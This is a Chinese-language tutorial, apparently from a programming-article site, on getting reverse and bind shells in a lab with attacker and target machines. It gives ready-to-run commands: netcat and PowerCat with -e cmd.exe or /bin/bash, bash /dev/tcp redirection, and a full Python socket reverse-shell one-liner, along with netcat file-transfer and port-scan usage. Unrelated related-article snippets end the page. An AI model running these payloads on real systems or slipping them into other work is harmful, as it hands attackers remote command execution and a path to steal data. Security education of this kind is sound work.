反弹shell的方法和场景

2024-04-02 17:20
文章标签 方法 场景 shell 反弹

本文主要是介绍反弹shell的方法和场景,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Netcat反弹Shell

1 NC正向反弹shell

Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、

反弹Shell、端口监听和文件传输等操作,常用参数如下:

-c指定连接后要执行的shell命令
-e指定连接后要执行的文件名
-k配置 Socket一直存活(若不想退出 Shell后使监听断开可使用此参数)
-l监听模式
-p设置本地主机使用的通信端口
-u使用UDP传输协议,默认为TCP
-v显示指令执行过程,用-vv会更详细

1.1 实验机器

机器名称机器IP
攻击靶机192.168.1.5
目标靶机192.168.1.14

1.2 实验介绍

攻击者机器 192.168.1.5和靶机 192.168.1.14可以相互的访问,这个时候可以使用正向shell

1.3 实验复现

1)在靶机上运行:

nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器
nc64.exe -lvvp 1111 -e /bin/bash linux机器

2)在攻击机上运行以及拿到正向的shell

.\nc64.exe 192.168.1.14 1111

2 NC反向反弹Shell

2.1 实验机器

机器名称机器IP
攻击机器192.168.1.5
目标机器192.168.36.135

2.2、实验介绍

攻击者机器 192.168.1.5不能直接访问靶机,但是靶机 192.168.3.29可以访问攻击者的机器,这个时候使用反向shell

2.3 实验复现

1)在攻击者机器运行

nc64.exe -lvvp 1111 监听1111端口

2)在靶机上运行 (反弹到公网)

nc64.exe -e C:\Windows\System32\cmd.exe 192.168.1.5 1111 windos机器
nc -e /bin/bash 192.168.3.27 1111 linux机器

3)拿到反向的shell

3 Nc的其他用法

3.1、Banner 的抓取

靶机运行着ssh服务,可以查看服务的版本

nc -nv IP Port

3.2、端口探测

可以查看端口的开放情况

nc -v IP Port

多端口扫描

nc -v -z IP Port[1]-Port[65535]

3.3、端口监听

监听端口,当访问该端口会输出该信息

nc -l -p Port

4、文件传输

接受端:nc -lp Port > file

发送端:nc -vn IP Port < file -q 1 (windows是-z,Linux是-q)

4.1、 接收端文件夹下为空

4.2、 接收端执行命令

nc -lp 3306 > 1.txt

4.3、 发送端执行命令

nc64.exe -vn 192.168.1.52 3306 < 1.txt -w 1

4.4、 接收端接收到文件

5、简易聊天

5.1、vps执行 nc -l -p Port

5.2、靶机执行:nc -vn IPPort

6、连接远程主机

命令 nc -nvv IP port

PowerCat反弹Shell

1 PowerCat介绍

PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。

2 PowerCat安装

1、下载地址

https://github.com/besimorhino/powercat

2、下载下来导入

Import-Module .\powercat.ps1

3、如果提示未能加载指定模块,则可能是权限问题,输入如下代码

Set-ExecutionPolicy Unrestricted

4、输入如下命令可以查看帮助信息

powercat -h

5、如下就是安装成功

3 PowerCat命令PowerCat命令

-l监听连接
-c连接到侦听器
-p要连接或监听的端口
-e执行
-ep执行Powershell
-r中继。格式:“-r tcp:10.1.1.1:443”
-u通过UDP传输数据
-dns通过dns传输数据
-dnsft DNS故障阈值
-t超时选项。默认值:60
-I输入:文件路径(字符串),字节数组或字符串
-o控制台输出类型:“主机”,“字节”或“字符串”
-of输出文件路径
-d连接后断开连接
-rep中继器。断开连接后重新启动
-g生成有效载荷
-ge生成编码的有效载荷
-h打印帮助消息

4 PowerCat实验环境介

两台机器

机器名称机器IP
攻击机器192.168.1.5
目标靶机192.168.1.14

5 PowerCat和nc正向连接

1、靶机使用powercat执行以下命令

powercat -l -p 8080 -e cmd.exe -v

2、攻击机使用nc执行以下命令

.\nc64.exe 192.168.1.14 8080 -vv

3、查看返回结果

6 PowerCat和nc反向连接

1、靶机使用powercat执行以下命令

powercat -c 192.168.1.5 -p 8888 -v -e cmd.exe

2、攻击机使用nc执行以下命令

nc64.exe -l -p 8888 -vv

3、查看返回结果

7 PowerCat和PowerCat反向连接

1、靶机使用powercat执行以下命令

powercat -c 192.168.1.5 -p 9999 -v -ep

2、攻击机使用powercat执行以下命令

powercat -l -p 9999 -v

3、查看返回结果

8 PowerCat文件传输

1、靶机使用powercat执行以下命令

powercat -l -p 9999 -of test.txt -v

2、攻击机使用powercat执行以下命令

powercat -c 192.168.1.14 -p 9999 -i F:\学习笔记\内网代理\工具\powercat\test.txt -v

3、查看返回结果

Bash反弹shell

1 Bash介绍

Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell

Bash 反弹Shell的命令如下:

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

"bash-i"是指打开一个交互式的Shell。

"&"符号用于区分文件和文件描述符,">&"符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件,">&"符号后面跟数字时表示后面的数字是文件描述符,不加"&"符号则会把后面的数字当成文件。数字"0","1","2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是指标准输出重定向, “2”是指错误输出重定向。

"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。">&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出

2 实验介绍

机器名称机器IP
攻击机器192.168.1.5(Windows)
实验靶机192.168.1.24(Linux)

3 实验复现

1、攻击机器使用nc执行监听命令

nc -lvvp 9999 监听 TCP
nc -lup 9999 监听UDP

2、实验靶机执行连接命令

bash -i >&/dev/tcp/192.168.1.5/9999 0>&1

3、查看结果

Python 反弹Shell

1 Python介绍

Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。

2 Python反弹Shell介绍

python 2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3 实验介绍

机器名称机器IP
攻击机器192.168.1.5(Windows)
实验靶机192.168.1.24(Linux)

4 实验复现

1、攻击机器使用nc执行监听命令

nc -lvvp 1111 监听 TCP

2、实验靶机执行连接命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3、查看结果

这篇关于反弹shell的方法和场景的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/870596

相关文章

Java中的String.valueOf()和toString()方法区别小结

《Java中的String.valueOf()和toString()方法区别小结》字符串操作是开发者日常编程任务中不可或缺的一部分,转换为字符串是一种常见需求,其中最常见的就是String.value... 目录String.valueOf()方法方法定义方法实现使用示例使用场景toString()方法方法

Java中List的contains()方法的使用小结

《Java中List的contains()方法的使用小结》List的contains()方法用于检查列表中是否包含指定的元素,借助equals()方法进行判断,下面就来介绍Java中List的c... 目录详细展开1. 方法签名2. 工作原理3. 使用示例4. 注意事项总结结论:List 的 contain

macOS无效Launchpad图标轻松删除的4 种实用方法

《macOS无效Launchpad图标轻松删除的4种实用方法》mac中不在appstore上下载的应用经常在删除后它的图标还残留在launchpad中,并且长按图标也不会出现删除符号,下面解决这个问... 在 MACOS 上,Launchpad(也就是「启动台」)是一个便捷的 App 启动工具。但有时候,应

SpringBoot日志配置SLF4J和Logback的方法实现

《SpringBoot日志配置SLF4J和Logback的方法实现》日志记录是不可或缺的一部分,本文主要介绍了SpringBoot日志配置SLF4J和Logback的方法实现,文中通过示例代码介绍的非... 目录一、前言二、案例一:初识日志三、案例二:使用Lombok输出日志四、案例三:配置Logback一

Python实现无痛修改第三方库源码的方法详解

《Python实现无痛修改第三方库源码的方法详解》很多时候,我们下载的第三方库是不会有需求不满足的情况,但也有极少的情况,第三方库没有兼顾到需求,本文将介绍几个修改源码的操作,大家可以根据需求进行选择... 目录需求不符合模拟示例 1. 修改源文件2. 继承修改3. 猴子补丁4. 追踪局部变量需求不符合很

mysql出现ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的解决方法

《mysql出现ERROR2003(HY000):Can‘tconnecttoMySQLserveron‘localhost‘(10061)的解决方法》本文主要介绍了mysql出现... 目录前言:第一步:第二步:第三步:总结:前言:当你想通过命令窗口想打开mysql时候发现提http://www.cpp

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

CentOS 7部署主域名服务器 DNS的方法

《CentOS7部署主域名服务器DNS的方法》文章详细介绍了在CentOS7上部署主域名服务器DNS的步骤,包括安装BIND服务、配置DNS服务、添加域名区域、创建区域文件、配置反向解析、检查配置... 目录1. 安装 BIND 服务和工具2.  配置 BIND 服务3 . 添加你的域名区域配置4.创建区域

mss32.dll文件丢失怎么办? 电脑提示mss32.dll丢失的多种修复方法

《mss32.dll文件丢失怎么办?电脑提示mss32.dll丢失的多种修复方法》最近,很多电脑用户可能遇到了mss32.dll文件丢失的问题,导致一些应用程序无法正常启动,那么,如何修复这个问题呢... 在电脑常年累月的使用过程中,偶尔会遇到一些问题令人头疼。像是某个程序尝试运行时,系统突然弹出一个错误提